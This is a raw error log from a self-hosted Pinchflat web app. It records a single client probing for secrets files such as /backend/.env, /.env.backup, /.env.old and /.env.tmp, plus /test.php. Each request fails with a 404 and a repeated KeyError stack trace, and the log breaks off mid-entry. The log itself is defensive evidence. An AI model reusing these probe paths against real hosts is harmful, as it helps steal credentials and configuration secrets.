#Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdVQqKyd-6pQAAPQB"} ], scheme: :http, script_name: [], secret_key_base: :. (truncated) 23:35:17.692 [info] GET /test.php 23:35:17.693 [debug] QUERY OK source="settings" db=0.4ms idle=250.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.694 [debug] QUERY OK source="settings" db=0.3ms idle=250.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.694 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:17.695 [error] #PID<0.3185.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 18) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /test.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3185.0>, params: %{}, path_info: ["test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/test.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdVtsd7Or0cUAAPRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 18, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3185.0>, params: %{}, path_info: ["test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/test.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdVtsd7Or0cUAAPRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {P (truncated) 23:35:17.805 [info] GET /.env.backup 23:35:17.805 [debug] QUERY OK source="settings" db=0.2ms idle=266.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.806 [debug] QUERY OK source="settings" db=0.1ms idle=234.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.806 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:17.806 [error] #PID<0.3186.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 19) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3186.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdWIhel3URYQAAPSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3186.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdWIhel3URYQAAPSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 23:35:17.923 [info] GET /.env.old 23:35:17.924 [debug] QUERY OK source="settings" db=0.4ms idle=230.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.925 [debug] QUERY OK source="settings" db=0.2ms idle=230.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.925 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:17.925 [error] #PID<0.3187.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 20) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3187.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdWku__TfoZIAAPTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 20, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3187.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdWku__TfoZIAAPTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: (truncated) 23:35:18.056 [info] GET /.env.tmp 23:35:18.057 [debug] QUERY OK source="settings" db=0.2ms idle=251.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.057 [debug] QUERY OK source="settings" db=0.1ms idle=251.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:18.057 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:18.058 [error] #PID<0.3188.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 21) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.tmp ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.tmp", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3188.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.tmp", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdXEf9SvKS-UAAPUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.tmp", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 21, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.tmp", host: "pinchflat.tail3db17d.ts.net", 